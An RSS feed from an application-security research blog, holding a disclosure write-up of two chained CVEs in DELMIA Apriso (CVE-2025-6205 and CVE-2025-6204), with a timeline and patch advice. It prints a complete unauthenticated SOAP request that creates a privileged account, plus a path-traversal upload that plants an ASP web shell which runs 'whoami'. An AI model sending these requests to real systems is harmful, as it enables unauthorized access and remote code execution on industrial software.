<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.3.1">Jekyll</generator><link href="https://httpvoid.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://httpvoid.com/" rel="alternate" type="text/html" /><updated>2026-04-23T18:07:07+00:00</updated><id>https://httpvoid.com/feed.xml</id><title type="html">HTTPVoid Research</title><subtitle>HTTPVoid is an application-security research team led by Rahul Maini and Harsh Jaiswal. Writeups cover our own CVEs alongside deep dives where we reverse and weaponise public n-days from advisories or patch diffs.</subtitle><entry><title type="html">Remote Code Execution in DELMIA Apriso</title><link href="https://httpvoid.com/Remote-Code-Execution-in-DELMIA-Apriso.md" rel="alternate" type="text/html" title="Remote Code Execution in DELMIA Apriso" /><published>2025-09-23T00:00:00+00:00</published><updated>2025-09-23T00:00:00+00:00</updated><id>https://httpvoid.com/Remote-Code-Execution-in-DELMIA-Apriso</id><content type="html" xml:base="https://httpvoid.com/Remote-Code-Execution-in-DELMIA-Apriso.md"><![CDATA[<p>Note - This is cross post from our work at <a href="https://projectdiscovery.io/blog/remote-code-execution-in-delmia-apriso">Projectdiscovery Blog</a></p>

<h2 id="introduction">Introduction</h2>

<p>DELMIA Apriso is a manufacturing execution and operations orchestration platform used by large manufacturers, service providers, and critical infrastructure operators. Because the product exposes multiple integration points (SOAP, file uploads, provisioning feeds) that are often reachable from internal networks, we performed a focused black-box assessment to surface integration and surface-area weaknesses.</p>

<p>Our testing uncovered two chained, high-impact issues: an unauthenticated SOAP provisioning endpoint that can create accounts with elevated roles, and an upload handler that fails to canonicalize filenames, allowing authenticated users to drop executable files into a web-served directory. Together these lead to full application compromise and were assigned CVE-2025-6204 and CVE-2025-6205.</p>

<p>During the same engagement we also discovered unauthenticated deserialization flaws in other components. We reported those deserialization issues to Apple’s bug bounty program at the time (we did not submit them directly to the vendor), and later independent research by  <a href="https://www.synacktiv.com/en/advisories/multiple-vulnerabilities-in-delmia-apriso-2019-to-2024">Synacktiv</a>  documented the very same vulnerabilities across Apriso versions corroborating that these classes of flaws recurred in the product family.</p>

<h2 id="background-and-scope">Background and scope</h2>

<p>We tested an on-prem installation of DELMIA Apriso’s application stack. The product exposes a SOAP-based message processor endpoint that accepts XML payloads for bulk employee/identity provisioning. Separately, the product exposes a file upload API used by portal components but that is accessible only post-authentication. Under normal operation these features are intended to be restricted to trusted integrations and administrators. During testing we discovered that:</p>

<ul>
  <li><strong>CVE-2025-6205</strong>: The SOAP message processor can be driven by unauthenticated requests to create arbitrary employee accounts and assign them a privileged role (“Production User”).</li>
  <li><strong>CVE-2025-6204</strong>: The portal file upload mechanism fails to properly sanitize and normalize filenames, allowing path traversal sequences in the filename parameter. Authenticated attackers can therefore write executable files into the server’s web root.</li>
</ul>

<p>Both findings chain together: the unauthenticated account creation gives an attacker credentials, and those credentials are then used to authenticate and abuse the file upload to drop a web shell.</p>

<h2 id="cve-2025-6205-unauthenticated-arbitrary-user-creation"><strong>CVE-2025-6205</strong>: Unauthenticated arbitrary user creation</h2>

<p>A SOAP action implemented at <code class="language-plaintext highlighter-rouge">/Apriso/MessageProcessor/FlexNetMessageProcessor.svc</code> accepts a <code class="language-plaintext highlighter-rouge">ProcessMessageASync_v2</code> operation carrying an XML document that conforms to a <code class="language-plaintext highlighter-rouge">FlexNet_Employees</code> schema. The XML structure includes fields for login name, password, employee metadata and, crucially, employee roles. We sent a crafted XML payload (embedded in the SOAP body) that included a new employee element with a login and password of our choosing and assigned the Production User role.</p>

<p>The endpoint processed the payload without requiring any authentication or message-signing, and created the account in the system. The ability to create an account with a role that grants elevated privileges turns an external attacker into an authenticated, powerful principal with the ability to perform actions intended only for administrators or trusted integrations.</p>

<p><strong>Vulnerable HTTP Request:</strong></p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/Apriso/MessageProcessor/FlexNetMessageProcessor.svc</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Content-type</span><span class="p">:</span> <span class="s">text/xml;charset=utf-8</span>
<span class="na">Host</span><span class="p">:</span><span class="s"> </span>
<span class="na">Soapaction</span><span class="p">:</span> <span class="s">"http://tempuri.org/IFlexNetMessageProcessor/ProcessMessageASync_v2"</span>

<span class="nt">&lt;soapenv:Envelope</span> <span class="na">xmlns:soapenv=</span><span class="s">"http://schemas.xmlsoap.org/soap/envelope/"</span>
<span class="na">xmlns:tem=</span><span class="s">"http://tempuri.org/"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;soapenv:Header/&gt;</span>
    <span class="nt">&lt;soapenv:Body&gt;</span>
        <span class="nt">&lt;tem:ProcessMessageASync_v2&gt;</span>
            <span class="nt">&lt;tem:xmlMessage&gt;</span><span class="ni">&amp;lt;&amp;#70;&amp;#108;&amp;#101;&amp;#120;&amp;#78;&amp;#101;&amp;#116;&amp;#95;&amp;#69;&amp;#109;&amp;#112;&amp;#108;&amp;#111;&amp;#121;&amp;#101;&amp;#101;&amp;#115;&amp;#32;&amp;#120;&amp;#109;&amp;#108;&amp;#110;&amp;#115;&amp;#58;&amp;#120;&amp;#115;&amp;#105;&amp;#61;&amp;quot;&amp;#104;&amp;#116;&amp;#116;&amp;#112;&amp;#58;&amp;#47;&amp;#47;&amp;#119;&amp;#119;&amp;#119;&amp;#46;&amp;#119;&amp;#51;&amp;#46;&amp;#111;&amp;#114;&amp;#103;&amp;#47;&amp;#50;&amp;#48;&amp;#48;&amp;#49;&amp;#47;&amp;#88;&amp;#77;&amp;#76;&amp;#83;&amp;#99;&amp;#104;&amp;#101;&amp;#109;&amp;#97;&amp;#45;&amp;#105;&amp;#110;&amp;#115;&amp;#116;&amp;#97;&amp;#110;&amp;#99;&amp;#101;&amp;quot;&amp;#32;&amp;#120;&amp;#115;&amp;#105;&amp;#58;&amp;#110;&amp;#111;&amp;#78;&amp;#97;&amp;#109;&amp;#101;&amp;#115;&amp;#112;&amp;#97;&amp;#99;&amp;#101;&amp;#83;&amp;#99;&amp;#104;&amp;#101;&amp;#109;&amp;#97;&amp;#76;&amp;#111;&amp;#99;&amp;#97;&amp;#116;&amp;#105;&amp;#111;&amp;#110;&amp;#61;&amp;quot;&amp;#83;&amp;#58;&amp;#47;&amp;#83;&amp;#99;&amp;#104;&amp;#101;&amp;#109;&amp;#97;&amp;#82;&amp;#101;&amp;#112;&amp;#111;&amp;#115;&amp;#105;&amp;#116;&amp;#111;&amp;#114;&amp;#121;&amp;#47;&amp;#88;&amp;#77;&amp;#76;&amp;#83;&amp;#99;&amp;#104;&amp;#101;&amp;#109;&amp;#97;&amp;#115;&amp;#47;&amp;#70;&amp;#108;&amp;#101;&amp;#120;&amp;#78;&amp;#101;&amp;#116;&amp;#47;&amp;#70;&amp;#108;&amp;#101;&amp;#120;&amp;#78;&amp;#101;&amp;#116;&amp;#95;&amp;#69;&amp;#109;&amp;#112;&amp;#108;&amp;#111;&amp;#121;&amp;#101;&amp;#101;&amp;#115;&amp;#46;&amp;#120;&amp;#115;&amp;#100;&amp;quot;&amp;#32;&amp;#86;&amp;#101;&amp;#114;&amp;#115;&amp;#105;&amp;#111;&amp;#110;&amp;#61;&amp;quot;&amp;#49;&amp;#46;&amp;#48;&amp;quot;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;lt;&amp;#69;&amp;#109;&amp;#112;&amp;#108;&amp;#111;&amp;#121;&amp;#101;&amp;#101;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;lt;&amp;#71;&amp;#105;&amp;#118;&amp;#101;&amp;#110;&amp;#78;&amp;#97;&amp;#109;&amp;#101;&amp;gt;&amp;#70;&amp;#73;&amp;#82;&amp;#83;&amp;#84;&amp;lt;&amp;#47;&amp;#71;&amp;#105;&amp;#118;&amp;#101;&amp;#110;&amp;#78;&amp;#97;&amp;#109;&amp;#101;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;lt;&amp;#70;&amp;#97;&amp;#109;&amp;#105;&amp;#108;&amp;#121;&amp;#78;&amp;#97;&amp;#109;&amp;#101;&amp;gt;&amp;#76;&amp;#65;&amp;#83;&amp;#84;&amp;lt;&amp;#47;&amp;#70;&amp;#97;&amp;#109;&amp;#105;&amp;#108;&amp;#121;&amp;#78;&amp;#97;&amp;#109;&amp;#101;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;lt;&amp;#69;&amp;#109;&amp;#112;&amp;#108;&amp;#111;&amp;#121;&amp;#101;&amp;#101;&amp;#78;&amp;#111;&amp;gt;&amp;#48;&amp;#56;&amp;#50;&amp;#54;&amp;#50;&amp;#48;&amp;#48;&amp;#52;&amp;lt;&amp;#47;&amp;#69;&amp;#109;&amp;#112;&amp;#108;&amp;#111;&amp;#121;&amp;#101;&amp;#101;&amp;#78;&amp;#111;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;lt;&amp;#76;&amp;#111;&amp;#103;&amp;#105;&amp;#110;&amp;#78;&amp;#97;&amp;#109;&amp;#101;&amp;gt;&amp;#76;&amp;#65;&amp;#83;&amp;#84;&amp;lt;&amp;#47;&amp;#76;&amp;#111;&amp;#103;&amp;#105;&amp;#110;&amp;#78;&amp;#97;&amp;#109;&amp;#101;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;lt;&amp;#80;&amp;#97;&amp;#115;&amp;#115;&amp;#119;&amp;#111;&amp;#114;&amp;#100;&amp;gt;&amp;#57;&amp;lt;&amp;#47;&amp;#80;&amp;#97;&amp;#115;&amp;#115;&amp;#119;&amp;#111;&amp;#114;&amp;#100;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;lt;&amp;#72;&amp;#105;&amp;#114;&amp;#101;&amp;#68;&amp;#97;&amp;#116;&amp;#101;&amp;gt;&amp;#50;&amp;#48;&amp;#48;&amp;#48;&amp;#45;&amp;#48;&amp;#54;&amp;#45;&amp;#48;&amp;#49;&amp;#84;&amp;#48;&amp;#48;&amp;#58;&amp;#48;&amp;#48;&amp;#58;&amp;#48;&amp;#48;&amp;lt;&amp;#47;&amp;#72;&amp;#105;&amp;#114;&amp;#101;&amp;#68;&amp;#97;&amp;#116;&amp;#101;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;lt;&amp;#83;&amp;#112;&amp;#111;&amp;#107;&amp;#101;&amp;#110;&amp;#76;&amp;#97;&amp;#110;&amp;#103;&amp;#117;&amp;#97;&amp;#103;&amp;#101;&amp;#73;&amp;#68;&amp;gt;&amp;#49;&amp;#48;&amp;#51;&amp;#51;&amp;lt;&amp;#47;&amp;#83;&amp;#112;&amp;#111;&amp;#107;&amp;#101;&amp;#110;&amp;#76;&amp;#97;&amp;#110;&amp;#103;&amp;#117;&amp;#97;&amp;#103;&amp;#101;&amp;#73;&amp;#68;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;lt;&amp;#87;&amp;#114;&amp;#105;&amp;#116;&amp;#116;&amp;#101;&amp;#110;&amp;#76;&amp;#97;&amp;#110;&amp;#103;&amp;#117;&amp;#97;&amp;#103;&amp;#101;&amp;#73;&amp;#68;&amp;gt;&amp;#49;&amp;#48;&amp;#51;&amp;#51;&amp;lt;&amp;#47;&amp;#87;&amp;#114;&amp;#105;&amp;#116;&amp;#116;&amp;#101;&amp;#110;&amp;#76;&amp;#97;&amp;#110;&amp;#103;&amp;#117;&amp;#97;&amp;#103;&amp;#101;&amp;#73;&amp;#68;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;lt;&amp;#69;&amp;#109;&amp;#112;&amp;#108;&amp;#111;&amp;#121;&amp;#101;&amp;#101;&amp;#86;&amp;#97;&amp;#108;&amp;#105;&amp;#100;&amp;#68;&amp;#97;&amp;#116;&amp;#101;&amp;gt;&amp;#50;&amp;#48;&amp;#48;&amp;#48;&amp;#45;&amp;#48;&amp;#54;&amp;#45;&amp;#48;&amp;#49;&amp;#84;&amp;#48;&amp;#48;&amp;#58;&amp;#48;&amp;#48;&amp;#58;&amp;#48;&amp;#48;&amp;lt;&amp;#47;&amp;#69;&amp;#109;&amp;#112;&amp;#108;&amp;#111;&amp;#121;&amp;#101;&amp;#101;&amp;#86;&amp;#97;&amp;#108;&amp;#105;&amp;#100;&amp;#68;&amp;#97;&amp;#116;&amp;#101;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;lt;&amp;#76;&amp;#111;&amp;#103;&amp;#105;&amp;#110;&amp;#69;&amp;#120;&amp;#112;&amp;#105;&amp;#114;&amp;#97;&amp;#116;&amp;#105;&amp;#111;&amp;#110;&amp;#68;&amp;#97;&amp;#116;&amp;#101;&amp;gt;&amp;#57;&amp;#57;&amp;#57;&amp;#57;&amp;#45;&amp;#49;&amp;#50;&amp;#45;&amp;#51;&amp;#49;&amp;#84;&amp;#48;&amp;#48;&amp;#58;&amp;#48;&amp;#48;&amp;#58;&amp;#48;&amp;#48;&amp;lt;&amp;#47;&amp;#76;&amp;#111;&amp;#103;&amp;#105;&amp;#110;&amp;#69;&amp;#120;&amp;#112;&amp;#105;&amp;#114;&amp;#97;&amp;#116;&amp;#105;&amp;#111;&amp;#110;&amp;#68;&amp;#97;&amp;#116;&amp;#101;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;lt;&amp;#69;&amp;#109;&amp;#112;&amp;#108;&amp;#111;&amp;#121;&amp;#101;&amp;#101;&amp;#84;&amp;#121;&amp;#112;&amp;#101;&amp;gt;&amp;#48;&amp;lt;&amp;#47;&amp;#69;&amp;#109;&amp;#112;&amp;#108;&amp;#111;&amp;#121;&amp;#101;&amp;#101;&amp;#84;&amp;#121;&amp;#112;&amp;#101;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;lt;&amp;#68;&amp;#101;&amp;#102;&amp;#97;&amp;#117;&amp;#108;&amp;#116;&amp;#70;&amp;#97;&amp;#99;&amp;#105;&amp;#108;&amp;#105;&amp;#116;&amp;#121;&amp;gt;&amp;#67;&amp;#49;&amp;#80;&amp;#49;&amp;lt;&amp;#47;&amp;#68;&amp;#101;&amp;#102;&amp;#97;&amp;#117;&amp;#108;&amp;#116;&amp;#70;&amp;#97;&amp;#99;&amp;#105;&amp;#108;&amp;#105;&amp;#116;&amp;#121;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;lt;&amp;#84;&amp;#114;&amp;#97;&amp;#99;&amp;#107;&amp;#76;&amp;#97;&amp;#98;&amp;#111;&amp;#114;&amp;#70;&amp;#108;&amp;#97;&amp;#103;&amp;gt;&amp;#116;&amp;#114;&amp;#117;&amp;#101;&amp;lt;&amp;#47;&amp;#84;&amp;#114;&amp;#97;&amp;#99;&amp;#107;&amp;#76;&amp;#97;&amp;#98;&amp;#111;&amp;#114;&amp;#70;&amp;#108;&amp;#97;&amp;#103;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;lt;&amp;#82;&amp;#101;&amp;#115;&amp;#111;&amp;#117;&amp;#114;&amp;#99;&amp;#101;&amp;#73;&amp;#68;&amp;#32;&amp;#78;&amp;#111;&amp;#100;&amp;#101;&amp;#84;&amp;#121;&amp;#112;&amp;#101;&amp;#61;&amp;quot;&amp;#70;&amp;#105;&amp;#101;&amp;#108;&amp;#100;&amp;quot;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;#9;&amp;lt;&amp;#82;&amp;#101;&amp;#115;&amp;#111;&amp;#117;&amp;#114;&amp;#99;&amp;#101;&amp;#95;&amp;#73;&amp;#110;&amp;#115;&amp;#101;&amp;#114;&amp;#116;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;#9;&amp;#9;&amp;lt;&amp;#78;&amp;#97;&amp;#109;&amp;#101;&amp;gt;&amp;#70;&amp;#73;&amp;#82;&amp;#83;&amp;#84;&amp;lt;&amp;#47;&amp;#78;&amp;#97;&amp;#109;&amp;#101;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;#9;&amp;#9;&amp;lt;&amp;#82;&amp;#101;&amp;#115;&amp;#111;&amp;#117;&amp;#114;&amp;#99;&amp;#101;&amp;#78;&amp;#97;&amp;#109;&amp;#101;&amp;gt;&amp;#70;&amp;#73;&amp;#82;&amp;#83;&amp;#84;&amp;lt;&amp;#47;&amp;#82;&amp;#101;&amp;#115;&amp;#111;&amp;#117;&amp;#114;&amp;#99;&amp;#101;&amp;#78;&amp;#97;&amp;#109;&amp;#101;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;#9;&amp;#9;&amp;lt;&amp;#82;&amp;#101;&amp;#115;&amp;#111;&amp;#117;&amp;#114;&amp;#99;&amp;#101;&amp;#84;&amp;#121;&amp;#112;&amp;#101;&amp;gt;&amp;#49;&amp;lt;&amp;#47;&amp;#82;&amp;#101;&amp;#115;&amp;#111;&amp;#117;&amp;#114;&amp;#99;&amp;#101;&amp;#84;&amp;#121;&amp;#112;&amp;#101;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;#9;&amp;#9;&amp;lt;&amp;#70;&amp;#85;&amp;#73;&amp;#68;&amp;#32;&amp;#78;&amp;#111;&amp;#100;&amp;#101;&amp;#84;&amp;#121;&amp;#112;&amp;#101;&amp;#61;&amp;quot;&amp;#70;&amp;#105;&amp;#101;&amp;#108;&amp;#100;&amp;quot;&amp;#47;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;#9;&amp;lt;&amp;#47;&amp;#82;&amp;#101;&amp;#115;&amp;#111;&amp;#117;&amp;#114;&amp;#99;&amp;#101;&amp;#95;&amp;#73;&amp;#110;&amp;#115;&amp;#101;&amp;#114;&amp;#116;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;lt;&amp;#47;&amp;#82;&amp;#101;&amp;#115;&amp;#111;&amp;#117;&amp;#114;&amp;#99;&amp;#101;&amp;#73;&amp;#68;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;lt;&amp;#69;&amp;#109;&amp;#112;&amp;#108;&amp;#111;&amp;#121;&amp;#101;&amp;#101;&amp;#82;&amp;#111;&amp;#108;&amp;#101;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;#9;&amp;lt;&amp;#69;&amp;#109;&amp;#112;&amp;#108;&amp;#111;&amp;#121;&amp;#101;&amp;#101;&amp;#73;&amp;#68;&amp;#32;&amp;#78;&amp;#111;&amp;#100;&amp;#101;&amp;#84;&amp;#121;&amp;#112;&amp;#101;&amp;#61;&amp;quot;&amp;#70;&amp;#105;&amp;#101;&amp;#108;&amp;#100;&amp;quot;&amp;#47;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;#9;&amp;lt;&amp;#82;&amp;#111;&amp;#108;&amp;#101;&amp;#73;&amp;#68;&amp;#32;&amp;#78;&amp;#111;&amp;#100;&amp;#101;&amp;#84;&amp;#121;&amp;#112;&amp;#101;&amp;#61;&amp;quot;&amp;#70;&amp;#105;&amp;#101;&amp;#108;&amp;#100;&amp;quot;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;#9;&amp;#9;&amp;lt;&amp;#82;&amp;#111;&amp;#108;&amp;#101;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;#9;&amp;#9;&amp;#9;&amp;lt;&amp;#82;&amp;#111;&amp;#108;&amp;#101;&amp;gt;&amp;#80;&amp;#114;&amp;#111;&amp;#100;&amp;#117;&amp;#99;&amp;#116;&amp;#105;&amp;#111;&amp;#110;&amp;#32;&amp;#85;&amp;#115;&amp;#101;&amp;#114;&amp;lt;&amp;#47;&amp;#82;&amp;#111;&amp;#108;&amp;#101;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;#9;&amp;#9;&amp;lt;&amp;#47;&amp;#82;&amp;#111;&amp;#108;&amp;#101;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;#9;&amp;lt;&amp;#47;&amp;#82;&amp;#111;&amp;#108;&amp;#101;&amp;#73;&amp;#68;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;#9;&amp;lt;&amp;#47;&amp;#69;&amp;#109;&amp;#112;&amp;#108;&amp;#111;&amp;#121;&amp;#101;&amp;#101;&amp;#82;&amp;#111;&amp;#108;&amp;#101;&amp;gt;&amp;#13;&amp;#10;&amp;#9;&amp;lt;&amp;#47;&amp;#69;&amp;#109;&amp;#112;&amp;#108;&amp;#111;&amp;#121;&amp;#101;&amp;#101;&amp;gt;&amp;#13;&amp;#10;&amp;lt;&amp;#47;&amp;#70;&amp;#108;&amp;#101;&amp;#120;&amp;#78;&amp;#101;&amp;#116;&amp;#95;&amp;#69;&amp;#109;&amp;#112;&amp;#108;&amp;#111;&amp;#121;&amp;#101;&amp;#101;&amp;#115;&amp;gt;</span><span class="nt">&lt;/tem:xmlMessage&gt;</span>
            <span class="nt">&lt;tem:applicationName&gt;</span>myExternalApplication<span class="nt">&lt;/tem:applicationName&gt;</span>
        <span class="nt">&lt;/tem:ProcessMessageASync_v2&gt;</span>
    <span class="nt">&lt;/soapenv:Body&gt;</span>
<span class="nt">&lt;/soapenv:Envelope&gt;</span>
</code></pre></div></div>

<p>The HTML encoded XML payload is nothing but the following XML content:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;FlexNet_Employees</span> <span class="na">xmlns:xsi=</span><span class="s">"http://www.w3.org/2001/XMLSchema-instance"</span>
    <span class="na">xsi:noNamespaceSchemaLocation=</span><span class="s">"S:/SchemaRepository/XMLSchemas/FlexNet/FlexNet_Employees.xsd"</span>
    <span class="na">Version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;Employee&gt;</span>
        <span class="nt">&lt;GivenName&gt;</span>FIRST<span class="nt">&lt;/GivenName&gt;</span>
        <span class="nt">&lt;FamilyName&gt;</span>LAST<span class="nt">&lt;/FamilyName&gt;</span>
        <span class="nt">&lt;EmployeeNo&gt;</span>08262004<span class="nt">&lt;/EmployeeNo&gt;</span>
        <span class="nt">&lt;LoginName&gt;</span>LAST<span class="nt">&lt;/LoginName&gt;</span>
        <span class="nt">&lt;Password&gt;</span>9<span class="nt">&lt;/Password&gt;</span>
        <span class="nt">&lt;HireDate&gt;</span>2000-06-01T00:00:00<span class="nt">&lt;/HireDate&gt;</span>
        <span class="nt">&lt;SpokenLanguageID&gt;</span>1033<span class="nt">&lt;/SpokenLanguageID&gt;</span>
        <span class="nt">&lt;WrittenLanguageID&gt;</span>1033<span class="nt">&lt;/WrittenLanguageID&gt;</span>
        <span class="nt">&lt;EmployeeValidDate&gt;</span>2000-06-01T00:00:00<span class="nt">&lt;/EmployeeValidDate&gt;</span>
        <span class="nt">&lt;LoginExpirationDate&gt;</span>9999-12-31T00:00:00<span class="nt">&lt;/LoginExpirationDate&gt;</span>
        <span class="nt">&lt;EmployeeType&gt;</span>0<span class="nt">&lt;/EmployeeType&gt;</span>
        <span class="nt">&lt;DefaultFacility&gt;</span>C1P1<span class="nt">&lt;/DefaultFacility&gt;</span>
        <span class="nt">&lt;TrackLaborFlag&gt;</span>true<span class="nt">&lt;/TrackLaborFlag&gt;</span>
        <span class="nt">&lt;ResourceID</span> <span class="na">NodeType=</span><span class="s">"Field"</span><span class="nt">&gt;</span>
            <span class="nt">&lt;Resource_Insert&gt;</span>
                <span class="nt">&lt;Name&gt;</span>FIRST<span class="nt">&lt;/Name&gt;</span>
                <span class="nt">&lt;ResourceName&gt;</span>FIRST<span class="nt">&lt;/ResourceName&gt;</span>
                <span class="nt">&lt;ResourceType&gt;</span>1<span class="nt">&lt;/ResourceType&gt;</span>
                <span class="nt">&lt;FUID</span> <span class="na">NodeType=</span><span class="s">"Field"</span> <span class="nt">/&gt;</span>
            <span class="nt">&lt;/Resource_Insert&gt;</span>
        <span class="nt">&lt;/ResourceID&gt;</span>
        <span class="nt">&lt;EmployeeRole&gt;</span>
            <span class="nt">&lt;EmployeeID</span> <span class="na">NodeType=</span><span class="s">"Field"</span> <span class="nt">/&gt;</span>
            <span class="nt">&lt;RoleID</span> <span class="na">NodeType=</span><span class="s">"Field"</span><span class="nt">&gt;</span>
                <span class="nt">&lt;Role&gt;</span>
                    <span class="nt">&lt;Role&gt;</span>Production User<span class="nt">&lt;/Role&gt;</span>
                <span class="nt">&lt;/Role&gt;</span>
            <span class="nt">&lt;/RoleID&gt;</span>
        <span class="nt">&lt;/EmployeeRole&gt;</span>
    <span class="nt">&lt;/Employee&gt;</span>
<span class="nt">&lt;/FlexNet_Employees&gt;</span>
</code></pre></div></div>

<p>An attacker can send the above crafted SOAP request to create a new user with arbitrary credentials (e.g., <strong>username: LAST</strong>, **password: 9 **in this case) without authentication. The XML payload allows setting user details and assigning the “Production User” role, which may grant elevated privileges.</p>

<h2 id="nuclei-template-to-scan-cve-2025-6205">Nuclei Template to Scan CVE-2025-6205</h2>

<h2 id="cve-2025-6204-remote-code-execution-via-authenticated-file-upload"><strong>CVE-2025-6204</strong>: Remote Code Execution via Authenticated File Upload</h2>

<p>After authenticating with an account created via the SOAP endpoint, we exercised the application’s file upload API. The upload handler accepts a filename parameter but does not correctly normalize it. By including path traversal sequences in the filename we were able to have the server persist the uploaded data into a directory that is subsequently served by the webserver, thereby allowing execution of server-side code uploaded by the attacker.</p>

<p>Send a crafted request to upload a web shell with <strong>authenticated cookies</strong> using the first bug:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">POST /Apriso/webservices/1.1/operation.svc/UploadFile?filename=375c9638-1a4e-465d-90d7-f69321315acb-xxx\..\..\..\portal\uploads\webshell.asp HTTP/1.1
Host: 
Cookie: [Redacted... Authenticate session ...Redacted]
Content-Type: application/x-www-form-urlencoded

&lt;%
  Response.Write "" &amp; "&lt;br&gt;"

  Set rs = CreateObject("WScript.Shell")
  Set cmd = rs.Exec("cmd /c whoami")
  o = cmd.StdOut.Readall()
  Response.write(o)

  Set fso = Server.CreateObject("Scripting.FileSystemObject")
  fso.DeleteFile Server.MapPath(Request.ServerVariables("SCRIPT_NAME")), True
  Set fso = Nothing
%&gt;
</span></code></pre></div></div>

<p>Access the web shell at <code class="language-plaintext highlighter-rouge">/apriso/portal/uploads/webshell.asp</code> in the same <strong>authenticated session</strong>, to make it safe for testing, uploaded webshell gets auto delete upon access.</p>

<h2 id="nuclei-template-to-scan-cve-2025-6204">Nuclei Template to Scan CVE-2025-6204</h2>

<h2 id="conclusion">Conclusion</h2>

<p>In conclusion, our black-box assessment of DELMIA Apriso revealed a chain of critical issues - an unauthenticated provisioning endpoint that allows account creation with elevated roles and an authenticated file-upload path-traversal that leads to remote code execution. Together these flaws create a low-effort, high-impact path to full application compromise and lateral movement, placing organizations that rely on Apriso at substantial risk if left unmitigated.</p>

<p>We strongly encourage DELMIA Apriso operators to immediately apply vendor patches. We also recommend checking newly created privileged accounts and scanning upload directories for unexpected web shells or similar executables.</p>

<p>To help defenders quickly identify affected systems, we published two Nuclei templates for these issues to the ProjectDiscovery Cloud platform; you can use it to scan your infrastructure for susceptible Apriso instances. ProjectDiscovery also offers free monthly scans to help organizations detect emerging threats and a 30-day trial for business email addresses to run broader coverage - useful complements while you roll out fixes and compensating controls.</p>

<h2 id="disclosure-timeline">Disclosure timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Event</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2025-05-14</td>
      <td>Issues reported to 3DS Security.</td>
    </tr>
    <tr>
      <td>2025-05-14</td>
      <td>Acknowledgement received from vendor.</td>
    </tr>
    <tr>
      <td>2025-05-15</td>
      <td>Vendor requested additional configuration and version details.</td>
    </tr>
    <tr>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>2025-05-16</td>
      <td>Additional details provided to the vendor</td>
    </tr>
    <tr>
      <td>2025-08-06</td>
      <td>Two CVEs assigned and published (CVE-2025-6204, CVE-2025-6205).</td>
    </tr>
  </tbody>
</table>

<hr />

<p>By embracing Nuclei and participating in the <a href="https://github.com/projectdiscovery">open-source community</a> or joining the ProjectDiscovery Cloud Platform, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Note - This is cross post from our work at Projectdiscovery Blog]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://httpvoid.com/assets/cover.png" /><media:content medium="image" url="https://httpvoid.com/assets/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Authentication Bypass to RCE in Versa Concerto</title><link href="https://httpvoid.com/Authentication-Bypass-to-RCE-in-Versa-Concerto.md" rel="alternate" type="text/html" title="Authentication Bypass to RCE in Versa Concerto" /><published>2025-05-21T00:00:00+00:00</published><updated>2025-05-21T00:00:00+00:00</updated><id>https://httpvoid.com/Authentication-Bypass-to-RCE-in-Versa-Concerto</id><content type="html" xml:base="https://httpvoid.com/Authentication-Bypass-to-RCE-in-Versa-Concerto.md"><![CDATA[<p>Note - This is cross post from our work at <a href="https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce">Projectdiscovery Blog</a></p>

<h2 id="introduction">Introduction</h2>

